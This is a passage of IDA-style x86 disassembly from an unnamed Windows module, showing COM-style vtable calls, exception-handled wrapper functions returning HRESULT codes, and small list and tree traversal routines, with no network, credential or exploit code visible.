test esi, esi
jz short loc_69B78A76
mov eax, [esi]
push 0
push esi
call dword ptr [eax+0Ch]
loc_69B78A76: ; CODE XREF: sub_69B78A58+14j
pop esi
retn
sub_69B78A58 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B78A78 proc near ; CODE XREF: sub_69B78D24+7Ep
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 14h
push ebx
push esi
mov ebx, ecx
push edi
mov [ebp+var_10], ebx
call sub_69B8A676
mov edi, [ebp+arg_8]
mov esi, eax
xor eax, eax
cmp [ebx+34h], eax
mov [ebp+var_4], eax
mov [ebp+var_8], eax
jnz short loc_69B78ADA
cmp [ebp+arg_0], 1
jnz loc_69B78D1D
cmp [ebp+arg_4], 2
jnz loc_69B78D1D
mov ecx, [ebp+arg_C]
mov eax, [ecx]
call dword ptr [eax+44h]
cmp eax, 3
jnz loc_69B78D1D
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+44h]
test eax, eax
jnz loc_69B78D1D
mov ecx, ebx
call sub_69B78A58
jmp short loc_69B78AE6
; ---------------------------------------------------------------------------
loc_69B78ADA: ; CODE XREF: sub_69B78A78+23j
cmp [ebp+arg_0], 1
jz short loc_69B78AE6
cmp [ebp+arg_0], 2
jnz short loc_69B78B06
loc_69B78AE6: ; CODE XREF: sub_69B78A78+60j
; sub_69B78A78+66j
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+44h]
cmp eax, 1
jnz short loc_69B78B06
mov ecx, [ebp+arg_C]
mov eax, [ecx]
and [ebp+arg_0], 0
mov edi, ecx
call dword ptr [eax+0F4h]
mov [ebp+arg_C], eax
loc_69B78B06: ; CODE XREF: sub_69B78A78+6Cj
; sub_69B78A78+78j
mov eax, [esi]
push edi
mov ecx, esi
call dword ptr [eax+4Ch]
mov edi, [ebp+arg_C]
jmp short loc_69B78B25
; ---------------------------------------------------------------------------
loc_69B78B13: ; CODE XREF: sub_69B78A78+B1j
mov eax, [esi]
push edi
call dword ptr [eax+4Ch]
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+0F4h]
mov edi, eax
loc_69B78B25: ; CODE XREF: sub_69B78A78+99j
test edi, edi
mov ecx, esi
jnz short loc_69B78B13
mov eax, [ebx+34h]
mov edi, [eax+4Ch]
mov eax, [esi]
mov [ebp+arg_8], edi
call dword ptr [eax+48h]
test byte ptr [ebx+40h], 4
jz short loc_69B78B5C
lea eax, [ebp+var_14]
push eax
mov ecx, edi
call sub_69B49F0B
test eax, eax
mov [ebp+arg_8], eax
jz loc_69B78D1D
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+48h]
loc_69B78B5C: ; CODE XREF: sub_69B78A78+C5j
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+40h]
test al, al
jz short loc_69B78B7D
cmp [ebp+arg_4], 2
jnz loc_69B78D1D
mov ecx, ebx
call sub_69B78A58
jmp loc_69B78D1D
; ---------------------------------------------------------------------------
loc_69B78B7D: ; CODE XREF: sub_69B78A78+EDj
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+40h]
test al, al
jnz loc_69B78D1D
loc_69B78B8C: ; CODE XREF: sub_69B78A78+18Ej
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+48h]
mov ebx, eax
mov eax, [ebx]
mov ecx, ebx
call dword ptr [eax+38h]
lea ecx, [ebp+arg_8]
push ecx
lea ecx, [ebp+var_C]
push ecx
push eax
push [ebp+arg_8]
call sub_69B7848B
cmp [ebp+arg_8], 0
jz short loc_69B78C0E
mov eax, dword_69B95A84
cmp dword ptr [eax+8], 19h
mov edi, eax
jg short loc_69B78BC5
call sub_69B2E6D8
loc_69B78BC5: ; CODE XREF: sub_69B78A78+146j
mov ecx, [ebp+arg_8]
mov eax, [ecx]
mov edi, [edi+70h]
call dword ptr [eax+38h]
cmp eax, edi
jnz short loc_69B78BFD
mov ecx, [ebp+var_4]
test ecx, ecx
jz short loc_69B78BEA
mov eax, [ebp+var_C]
dec eax
push eax
push [ebp+var_8]
call sub_69B79286
jmp short loc_69B78BF0
; ---------------------------------------------------------------------------
loc_69B78BEA: ; CODE XREF: sub_69B78A78+161j
mov eax, [ebp+var_10]
mov eax, [eax+30h]
loc_69B78BF0: ; CODE XREF: sub_69B78A78+170j
test eax, eax
jz short loc_69B78C0A
mov eax, [eax+10h]
mov [ebp+var_4], eax
mov [ebp+var_8], ebx
loc_69B78BFD: ; CODE XREF: sub_69B78A78+15Aj
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+40h]
test al, al
jz short loc_69B78B8C
jmp short loc_69B78C0E
; ---------------------------------------------------------------------------
loc_69B78C0A: ; CODE XREF: sub_69B78A78+17Aj
and [ebp+var_4], 0
loc_69B78C0E: ; CODE XREF: sub_69B78A78+139j
; sub_69B78A78+190j
xor eax, eax
cmp [ebp+var_4], eax
jz loc_69B78D1D
cmp [ebp+arg_8], eax
jz loc_69B78D1D
cmp [ebp+var_8], eax
jz loc_69B78D1D
xor ecx, ecx
cmp [ebp+arg_4], eax
mov eax, dword_69B95A84
setz cl
cmp dword ptr [eax+8], 18h
mov esi, eax
mov edi, ecx
mov [ebp+arg_4], edi
jg short loc_69B78C4A
call sub_69B2E6D8
loc_69B78C4A: ; CODE XREF: sub_69B78A78+1CBj
mov ecx, [ebp+arg_8]
mov eax, [ecx]
mov esi, [esi+6Ch]
call dword ptr [eax+38h]
cmp eax, esi
jnz short loc_69B78C6C
mov ecx, [ebp+var_8]
mov eax, [ecx]
and [ebp+arg_0], 0
push 1
call dword ptr [eax+88h]
jmp short loc_69B78C96
; ---------------------------------------------------------------------------
loc_69B78C6C: ; CODE XREF: sub_69B78A78+1DFj
cmp [ebp+arg_0], 0
jnz short loc_69B78C77
mov esi, [ebp+var_8]
jmp short loc_69B78C83
; ---------------------------------------------------------------------------
loc_69B78C77: ; CODE XREF: sub_69B78A78+1F8j
test edi, edi
jz short loc_69B78CB5
cmp [ebp+arg_0], 1
jz short loc_69B78CBB
loc_69B78C81: ; CODE XREF: sub_69B78A78+241j
mov esi, ebx
loc_69B78C83: ; CODE XREF: sub_69B78A78+1FDj
; sub_69B78A78+246j
mov eax, [ebx]
push 0
mov ecx, ebx
call dword ptr [eax+38h]
mov ecx, [ebp+arg_C]
push eax
push esi
call sub_69B4A680
loc_69B78C96: ; CODE XREF: sub_69B78A78+1F2j
mov esi, eax
mov eax, [ebp+arg_0]
inc esi
sub eax, 0
jz short loc_69B78CCE
dec eax
jz short loc_69B78CC0
dec eax
jnz short loc_69B78D1D
mov ecx, [ebp+var_4]
push edi
push 1
push esi
call sub_69B791F7
jmp short loc_69B78D1D
; ---------------------------------------------------------------------------
loc_69B78CB5: ; CODE XREF: sub_69B78A78+201j
cmp [ebp+arg_0], 2
jnz short loc_69B78C81
loc_69B78CBB: ; CODE XREF: sub_69B78A78+207j
mov esi, [ebp+arg_10]
jmp short loc_69B78C83
; ---------------------------------------------------------------------------
loc_69B78CC0: ; CODE XREF: sub_69B78A78+22Aj
mov ecx, [ebp+var_4]
push edi
push 1
push esi
call sub_69B791A9
jmp short loc_69B78D1D
; ---------------------------------------------------------------------------
loc_69B78CCE: ; CODE XREF: sub_69B78A78+227j
mov eax, dword_69B95A84
cmp dword ptr [eax+8], 19h
mov edi, eax
jg short loc_69B78CE0
call sub_69B2E6D8
loc_69B78CE0: ; CODE XREF: sub_69B78A78+261j
mov ebx, [ebp+arg_8]
mov eax, [ebx]
mov edi, [edi+70h]
mov ecx, ebx
call dword ptr [eax+38h]
cmp eax, edi
jnz short loc_69B78D0E
push 0
lea eax, [ebp+var_C]
push eax
push offset MultiByteStr ; lpMultiByteStr
call sub_69B1D494
push eax
call sub_69B1A2EC
push eax
push ebx
call sub_69B7848B
loc_69B78D0E: ; CODE XREF: sub_69B78A78+277j
push [ebp+arg_4]
mov ecx, [ebp+var_4]
push [ebp+var_C]
push esi
call sub_69B7917A
loc_69B78D1D: ; CODE XREF: sub_69B78A78+29j
; sub_69B78A78+33j ...
pop edi
pop esi
pop ebx
leave
retn 14h
sub_69B78A78 endp
; =============== S U B R O U T I N E =======================================
sub_69B78D24 proc near ; DATA XREF: .text:69B78A00o
push 24h
push offset dword_69B78DE8
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
xor edi, edi
cmp eax, edi
jnz short loc_69B78D49
mov eax, 80004005h
jmp loc_69B78DE0
; ---------------------------------------------------------------------------
loc_69B78D49: ; CODE XREF: sub_69B78D24+19j
mov esi, [ebp+8]
add esi, 0FFFFFFC4h
push esi
push eax
lea ecx, [ebp-28h]
call sub_69B1B406
mov [ebp-4], edi
mov [ebp-2Ch], edi
push dword ptr [ebp+14h]
call sub_69B47D5E
mov [ebp-30h], eax
cmp eax, edi
jz short loc_69B78DC9
push dword ptr [ebp+18h]
call sub_69B47D5E
mov [ebp-34h], eax
cmp eax, edi
jz short loc_69B78DC9
cmp [ebp+1Ch], edi
jz short loc_69B78D91
push dword ptr [ebp+1Ch]
call sub_69B47D5E
mov [ebp-2Ch], eax
cmp eax, edi
jz short loc_69B78DC9
loc_69B78D91: ; CODE XREF: sub_69B78D24+5Cj
push dword ptr [ebp-2Ch]
push dword ptr [ebp-34h]
push dword ptr [ebp-30h]
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
mov ecx, esi
call sub_69B78A78
jmp short loc_69B78DC9
; ---------------------------------------------------------------------------
loc_69B78DA9: ; DATA XREF: .text:69B78DECo
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B78DB2: ; DATA XREF: .text:69B78DF0o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov edi, eax
loc_69B78DC9: ; CODE XREF: sub_69B78D24+48j
; sub_69B78D24+57j ...
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, edi
loc_69B78DE0: ; CODE XREF: sub_69B78D24+20j
call sub_69B1853C
retn 18h
sub_69B78D24 endp
; ---------------------------------------------------------------------------
dword_69B78DE8 dd 0FFFFFFFFh dd offset loc_69B78DA9
dd offset loc_69B78DB2
; =============== S U B R O U T I N E =======================================
sub_69B78DF4 proc near ; CODE XREF: sub_69B5D45C+1A3p
; sub_69B7759C+6Fp ...
arg_0 = dword ptr 4
push esi
mov esi, ecx
push edi
lea edi, [esi+28h]
mov ecx, [edi]
test ecx, ecx
jz short loc_69B78E0A
lea eax, [esi+3Ch]
push eax
call sub_69B774BB
loc_69B78E0A: ; CODE XREF: sub_69B78DF4+Bj
push [esp+8+arg_0]
push edi
call sub_69B17320
mov ecx, [edi]
test ecx, ecx
jz short loc_69B78E7E
lea eax, [esi+3Ch]
push eax
call sub_69B778FC
mov ecx, [esi+10h]
test ecx, ecx
jz short loc_69B78E31
call sub_69B88114
jmp short loc_69B78E33
; ---------------------------------------------------------------------------
loc_69B78E31: ; CODE XREF: sub_69B78DF4+34j
xor eax, eax
loc_69B78E33: ; CODE XREF: sub_69B78DF4+3Bj
test eax, eax
jz short loc_69B78E55
mov ecx, [esi+10h]
push ebx
mov ebx, [edi]
add ebx, 0Ch
test ecx, ecx
jz short loc_69B78E4B
call sub_69B88114
jmp short loc_69B78E4D
; ---------------------------------------------------------------------------
loc_69B78E4B: ; CODE XREF: sub_69B78DF4+4Ej
xor eax, eax
loc_69B78E4D: ; CODE XREF: sub_69B78DF4+55j
mov edx, [ebx]
push eax
mov ecx, ebx
call dword ptr [edx]
pop ebx
loc_69B78E55: ; CODE XREF: sub_69B78DF4+41j
mov eax, [edi]
lea ecx, [eax+0Ch]
mov eax, [esi+1Ch]
mov edx, [ecx]
push eax
push eax
push offset stru_69B1CA6C
call dword ptr [edx+4]
mov eax, [edi]
push esi
add eax, 0F0h
push eax
call sub_69B2DEB2
mov ecx, esi
call sub_69B78A58
loc_69B78E7E: ; CODE XREF: sub_69B78DF4+24j
pop edi
pop esi
retn 4
sub_69B78DF4 endp
; =============== S U B R O U T I N E =======================================
sub_69B78E83 proc near ; DATA XREF: .text:69B16988o
push 20h
push offset dword_69B78F38
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
xor ebx, ebx
cmp eax, ebx
jnz short loc_69B78EA8
mov eax, 80004005h
jmp loc_69B78F2D
; ---------------------------------------------------------------------------
loc_69B78EA8: ; CODE XREF: sub_69B78E83+19j
mov esi, [ebp+8]
push dword ptr [esi+10h]
push eax
lea ecx, [ebp-28h]
call sub_69B1B552
push dword ptr [esi+14h]
lea ecx, [ebp-2Ch]
call sub_69B1986C
mov edi, [ebp+14h]
cmp edi, ebx
jnz short loc_69B78ED0
mov ebx, 80070057h
jmp short loc_69B78F12
; ---------------------------------------------------------------------------
loc_69B78ED0: ; CODE XREF: sub_69B78E83+44j
mov [ebp-4], ebx
mov ecx, [esi+10h]
mov [ebp-30h], ecx
mov eax, [ecx]
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
call dword ptr [eax+38h]
mov [edi], eax
jmp short loc_69B78F0E
; ---------------------------------------------------------------------------
loc_69B78EE8: ; DATA XREF: .text:69B78F3Co
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B78EF1: ; DATA XREF: .text:69B78F40o
mov esp, [ebp-18h]
mov eax, [ebp+14h]
and dword ptr [eax], 0
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov ebx, eax
loc_69B78F0E: ; CODE XREF: sub_69B78E83+63j
or dword ptr [ebp-4], 0FFFFFFFFh
loc_69B78F12: ; CODE XREF: sub_69B78E83+4Bj
lea ecx, [ebp-2Ch]
call sub_69B1948C
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, ebx
loc_69B78F2D: ; CODE XREF: sub_69B78E83+20j
call sub_69B1853C
retn 10h
sub_69B78E83 endp
; ---------------------------------------------------------------------------
align 4
dword_69B78F38 dd 0FFFFFFFFh dd offset loc_69B78EE8
dd offset loc_69B78EF1
; =============== S U B R O U T I N E =======================================
sub_69B78F44 proc near ; DATA XREF: .text:69B16994o
push 20h
push offset dword_69B78FE0
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
xor edi, edi
cmp eax, edi
jnz short loc_69B78F66
mov eax, 80004005h
jmp short loc_69B78FD2
; ---------------------------------------------------------------------------
loc_69B78F66: ; CODE XREF: sub_69B78F44+19j
mov esi, [ebp+8]
push dword ptr [esi+10h]
push eax
lea ecx, [ebp-28h]
call sub_69B1B552
push dword ptr [esi+14h]
lea ecx, [ebp-2Ch]
call sub_69B1986C
mov [ebp-4], edi
mov ecx, [esi+10h]
mov [ebp-30h], ecx
mov eax, [ecx]
push dword ptr [ebp+0Ch]
call dword ptr [eax+3Ch]
jmp short loc_69B78FB3
; ---------------------------------------------------------------------------
loc_69B78F93: ; DATA XREF: .text:69B78FE4o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B78F9C: ; DATA XREF: .text:69B78FE8o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov edi, eax
loc_69B78FB3: ; CODE XREF: sub_69B78F44+4Dj
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-2Ch]
call sub_69B1948C
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, edi
loc_69B78FD2: ; CODE XREF: sub_69B78F44+20j
call sub_69B1853C
retn 8
sub_69B78F44 endp
; ---------------------------------------------------------------------------
align 10h
dword_69B78FE0 dd 0FFFFFFFFh dd offset loc_69B78F93
dd offset loc_69B78F9C
; =============== S U B R O U T I N E =======================================
sub_69B78FEC proc near ; DATA XREF: .text:69B16998o
push 20h
push offset dword_69B79088
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
xor edi, edi
cmp eax, edi
jnz short loc_69B7900E
mov eax, 80004005h
jmp short loc_69B7907A
; ---------------------------------------------------------------------------
loc_69B7900E: ; CODE XREF: sub_69B78FEC+19j
mov esi, [ebp+8]
push dword ptr [esi+10h]
push eax
lea ecx, [ebp-28h]
call sub_69B1B552
push dword ptr [esi+14h]
lea ecx, [ebp-2Ch]
call sub_69B1986C
mov [ebp-4], edi
mov ecx, [esi+10h]
mov [ebp-30h], ecx
mov eax, [ecx]
push dword ptr [ebp+0Ch]
call dword ptr [eax+40h]
jmp short loc_69B7905B
; ---------------------------------------------------------------------------
loc_69B7903B: ; DATA XREF: .text:69B7908Co
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B79044: ; DATA XREF: .text:69B79090o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov edi, eax
loc_69B7905B: ; CODE XREF: sub_69B78FEC+4Dj
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-2Ch]
call sub_69B1948C
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, edi
loc_69B7907A: ; CODE XREF: sub_69B78FEC+20j
call sub_69B1853C
retn 8
sub_69B78FEC endp
; ---------------------------------------------------------------------------
align 8
dword_69B79088 dd 0FFFFFFFFh dd offset loc_69B7903B
dd offset loc_69B79044
; =============== S U B R O U T I N E =======================================
sub_69B79094 proc near ; DATA XREF: .text:69B144D8o
xor eax, eax
cmp [ecx+40h], al
setz al
retn 8
sub_69B79094 endp
; =============== S U B R O U T I N E =======================================
sub_69B7909F proc near ; DATA XREF: .text:69B144F8o
mov eax, [ecx]
jmp dword ptr [eax+38h]
sub_69B7909F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B790A4 proc near ; CODE XREF: sub_69B79731+46p
; sub_69B79B41+10p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_0]
mov eax, [esi]
push edi
lea ecx, [ebp+arg_0]
push ecx
mov ecx, esi
call dword ptr [eax+68h]
mov edi, [ebp+arg_4]
test edi, edi
jle short loc_69B790CC
loc_69B790BE: ; CODE XREF: sub_69B790A4+26j
mov eax, [esi]
lea ecx, [ebp+arg_0]
push ecx
mov ecx, esi
call dword ptr [eax+6Ch]
dec edi
jnz short loc_69B790BE
loc_69B790CC: ; CODE XREF: sub_69B790A4+18j
pop edi
pop esi
pop ebp
retn 8
sub_69B790A4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B790D2 proc near ; CODE XREF: sub_69B790D2+40p
; sub_69B79731+184p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ebx
push esi
mov ebx, ecx
push edi
mov edi, [ebp+arg_0]
mov eax, [edi]
lea ecx, [ebp+arg_0]
push ecx
mov ecx, edi
call dword ptr [eax+68h]
jmp short loc_69B79126
; ---------------------------------------------------------------------------
loc_69B790EA: ; CODE XREF: sub_69B790D2+58j
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+44h]
test eax, eax
jnz short loc_69B79101
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+38h]
cmp eax, [ebp+arg_4]
jz short loc_69B79133
loc_69B79101: ; CODE XREF: sub_69B790D2+21j
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+74h]
test al, al
jz short loc_69B7911B
push [ebp+arg_4]
mov ecx, ebx
push esi
call sub_69B790D2
test eax, eax
jnz short loc_69B7912C
loc_69B7911B: ; CODE XREF: sub_69B790D2+38j
mov eax, [edi]
lea ecx, [ebp+arg_0]
push ecx
mov ecx, edi
call dword ptr [eax+6Ch]
loc_69B79126: ; CODE XREF: sub_69B790D2+16j
mov esi, eax
test esi, esi
jnz short loc_69B790EA
loc_69B7912C: ; CODE XREF: sub_69B790D2+47j
; sub_69B790D2+63j
pop edi
pop esi
pop ebx
pop ebp
retn 8
; ---------------------------------------------------------------------------
loc_69B79133: ; CODE XREF: sub_69B790D2+2Dj
mov eax, esi
jmp short loc_69B7912C
sub_69B790D2 endp
; =============== S U B R O U T I N E =======================================
sub_69B79137 proc near ; CODE XREF: sub_69B79D26+9Cp
; sub_69B79D26+A3p
push offset dword_69B79144 ; lpString
call sub_69B1A587
retn
sub_69B79137 endp
; ---------------------------------------------------------------------------
align 4
; const WCHAR dword_69B79144
dword_69B79144 dd 5Eh
; =============== S U B R O U T I N E =======================================
sub_69B79148 proc near ; CODE XREF: sub_69B794F9+57p
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
test edi, edi
mov esi, ecx
jl short loc_69B79159
cmp edi, [esi+8]
jl short loc_69B7915E
loc_69B79159: ; CODE XREF: sub_69B79148+Aj
call sub_69B2E6D8
loc_69B7915E: ; CODE XREF: sub_69B79148+Fj
lea eax, [esi+edi*8+0Ch]
pop edi
pop esi
retn 4
sub_69B79148 endp
; =============== S U B R O U T I N E =======================================
sub_69B79167 proc near ; DATA XREF: .text:69B144D4o
mov ecx, [ecx+10h]
mov eax, [ecx]
jmp dword ptr [eax+70h]
sub_69B79167 endp
; =============== S U B R O U T I N E =======================================
sub_69B7916F proc near ; DATA XREF: .text:69B144F4o
mov eax, [ecx+4]
movzx eax, byte ptr [eax+8Ch]
retn
sub_69B7916F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B7917A proc near ; CODE XREF: sub_69B78A78+2A0p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov eax, [ecx+44h]
test eax, eax
jz short loc_69B791A5
cmp [ebp+arg_8], 0
push [ebp+arg_4]
mov ecx, [eax]
push [ebp+arg_0]
push eax
jz short loc_69B791A2
call dword ptr [ecx+0Ch]
test eax, eax
jz short loc_69B791A5
push eax
call sub_69B2E8B8
jmp short loc_69B791A5
; ---------------------------------------------------------------------------
loc_69B791A2: ; CODE XREF: sub_69B7917A+17j
call dword ptr [ecx+10h]
loc_69B791A5: ; CODE XREF: sub_69B7917A+8j
; sub_69B7917A+1Ej ...
pop ebp
retn 0Ch
sub_69B7917A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B791A9 proc near ; CODE XREF: sub_69B78A78+24Fp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov edx, [ecx+44h]
test edx, edx
jz short loc_69B791F3
cmp [ebp+arg_8], 0
jz short loc_69B791D1
push [ebp+arg_4]
mov eax, [edx]
push [ebp+arg_0]
push edx
call dword ptr [eax+1Ch]
test eax, eax
jz short loc_69B791F3
push eax
call sub_69B2E8B8
jmp short loc_69B791F3
; ---------------------------------------------------------------------------
loc_69B791D1: ; CODE XREF: sub_69B791A9+Ej
mov eax, [ecx+38h]
push esi
lea esi, [eax+1]
cmp [ebp+arg_0], esi
mov esi, [ebp+arg_4]
jg short loc_69B791E5
add eax, esi
mov [ecx+38h], eax
loc_69B791E5: ; CODE XREF: sub_69B791A9+35j
add [ecx+34h], esi
mov eax, [edx]
push esi
push [ebp+arg_0]
push edx
call dword ptr [eax+20h]
pop esi
loc_69B791F3: ; CODE XREF: sub_69B791A9+8j
; sub_69B791A9+1Ej ...
pop ebp
retn 0Ch
sub_69B791A9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B791F7 proc near ; CODE XREF: sub_69B78A78+236p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push esi
mov esi, [ecx+44h]
test esi, esi
jz short loc_69B79257
cmp [ebp+arg_8], 0
jz short loc_69B79220
push [ebp+arg_4]
mov eax, [esi]
push [ebp+arg_0]
push esi
call dword ptr [eax+14h]
test eax, eax
jz short loc_69B79257
push eax
call sub_69B2E8B8
jmp short loc_69B79257
; ---------------------------------------------------------------------------
loc_69B79220: ; CODE XREF: sub_69B791F7+Fj
mov eax, [ecx+38h]
mov edx, [ebp+arg_4]
push ebx
mov ebx, [ebp+arg_0]
push edi
lea edi, [eax+1]
cmp ebx, edi
jg short loc_69B79248
lea ebx, [ebx+edx-1]
cmp ebx, edi
jge short loc_69B79241
sub eax, edx
mov [ecx+38h], eax
jmp short loc_69B79248
; ---------------------------------------------------------------------------
loc_69B79241: ; CODE XREF: sub_69B791F7+41j
mov dword ptr [ecx+38h], 0FFFFFFF6h
loc_69B79248: ; CODE XREF: sub_69B791F7+39j
; sub_69B791F7+48j
sub [ecx+34h], edx
mov eax, [esi]
push edx
push [ebp+arg_0]
push esi
call dword ptr [eax+18h]
pop edi
pop ebx
loc_69B79257: ; CODE XREF: sub_69B791F7+9j
; sub_69B791F7+1Fj ...
pop esi
pop ebp
retn 0Ch
sub_69B791F7 endp
; =============== S U B R O U T I N E =======================================
sub_69B7925C proc near ; CODE XREF: sub_69B79286+4p
; sub_69B794F9+8p
arg_0 = dword ptr 4
mov ecx, [ecx+48h]
xor eax, eax
test ecx, ecx
jz short locret_69B79283
mov edx, [ecx+8]
lea eax, [ecx+0Ch]
jmp short loc_69B79279
; ---------------------------------------------------------------------------
loc_69B7926D: ; CODE XREF: sub_69B7925C+1Fj
mov ecx, [eax]
cmp ecx, [esp+arg_0]
jz short loc_69B7927D
dec edx
add eax, 8
loc_69B79279: ; CODE XREF: sub_69B7925C+Fj
test edx, edx
jg short loc_69B7926D
loc_69B7927D: ; CODE XREF: sub_69B7925C+17j
test edx, edx
jnz short locret_69B79283
xor eax, eax
locret_69B79283: ; CODE XREF: sub_69B7925C+7j
; sub_69B7925C+23j
retn 4
sub_69B7925C endp
; =============== S U B R O U T I N E =======================================
sub_69B79286 proc near ; CODE XREF: sub_69B78A78+16Bp
; sub_69B79B41+123p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
call sub_69B7925C
test eax, eax
jz short loc_69B792A3
mov eax, [eax+4]
push [esp+arg_0]
mov ecx, eax
call sub_69B1980A
jmp short locret_69B792A5
; ---------------------------------------------------------------------------
loc_69B792A3: ; CODE XREF: sub_69B79286+Bj
xor eax, eax
locret_69B792A5: ; CODE XREF: sub_69B79286+1Bj
retn 8
sub_69B79286 endp
; =============== S U B R O U T I N E =======================================
sub_69B792A8 proc near ; DATA XREF: .text:69B14490o
; .text:69B14888o
push 8
pop eax
retn
sub_69B792A8 endp
; =============== S U B R O U T I N E =======================================
sub_69B792AC proc near ; CODE XREF: sub_69B79A18+53p
arg_0 = dword ptr 4
mov eax, [ecx+48h]
test eax, eax
jz short locret_69B792D4
mov ecx, [eax+8]
test ecx, ecx
jle short locret_69B792D4
push esi
push edi
lea esi, [eax+10h]
mov edi, ecx
loc_69B792C1: ; CODE XREF: sub_69B792AC+24j
push [esp+8+arg_0]
mov ecx, [esi]
call sub_69B17DC6
add esi, 8
dec edi
jnz short loc_69B792C1
pop edi
pop esi
locret_69B792D4: ; CODE XREF: sub_69B792AC+5j
; sub_69B792AC+Cj
retn 4
sub_69B792AC endp
; =============== S U B R O U T I N E =======================================
sub_69B792D7 proc near ; CODE XREF: sub_69B794F9+46p
arg_0 = dword ptr 4
push ebx
mov ebx, [esp+4+arg_0]
push esi
push edi
lea eax, ds:10h[ebx*8]
push eax
mov edi, ecx
call sub_69B17EF3
mov esi, eax
mov ecx, esi
mov [esi+8], ebx
call sub_69B19118
push 0
push edi
mov dword ptr [esi], offset off_69B14458
push dword ptr [edi+8]
mov ecx, esi
push 0
call sub_69B2E6E3
pop edi
mov eax, esi
pop esi
pop ebx
retn 4
sub_69B792D7 endp
; =============== S U B R O U T I N E =======================================
sub_69B79316 proc near ; DATA XREF: .text:69B144A4o
arg_0 = byte ptr 4
sub ecx, 0Ch
jmp sub_69B7963E
sub_69B79316 endp
; =============== S U B R O U T I N E =======================================
sub_69B7931E proc near ; DATA XREF: .text:69B144A8o
sub ecx, 0Ch
jmp sub_69B1B57D
sub_69B7931E endp
; =============== S U B R O U T I N E =======================================
sub_69B79326 proc near ; DATA XREF: .text:69B144ACo
sub ecx, 0Ch
jmp sub_69B1BF60
sub_69B79326 endp
; =============== S U B R O U T I N E =======================================
sub_69B7932E proc near ; DATA XREF: .text:69B144B0o
sub ecx, 0Ch
jmp sub_69B186A8
sub_69B7932E endp
; =============== S U B R O U T I N E =======================================
sub_69B79336 proc near ; CODE XREF: sub_69B79659+98p
; sub_69B79731+71p ...
mov eax, dword_69B95A84
cmp dword ptr [eax+8], 1Bh
push edi
mov edi, eax
jg short loc_69B79349
call sub_69B2E6D8
loc_69B79349: ; CODE XREF: sub_69B79336+Cj
mov eax, [edi+78h]
mov edx, [esi]
push eax
mov ecx, esi
call dword ptr [edx+0A4h]
test eax, eax
jnz short loc_69B7937B
mov eax, dword_69B95A84
cmp dword ptr [eax+8], 1Ah
mov edi, eax
jg short loc_69B7936D
call sub_69B2E6D8
loc_69B7936D: ; CODE XREF: sub_69B79336+30j
mov eax, [edi+74h]
mov edx, [esi]
push eax
mov ecx, esi
call dword ptr [edx+0A4h]
loc_69B7937B: ; CODE XREF: sub_69B79336+23j
pop edi
retn
sub_69B79336 endp
; =============== S U B R O U T I N E =======================================
sub_69B7937D proc near ; CODE XREF: sub_69B7963E+3p
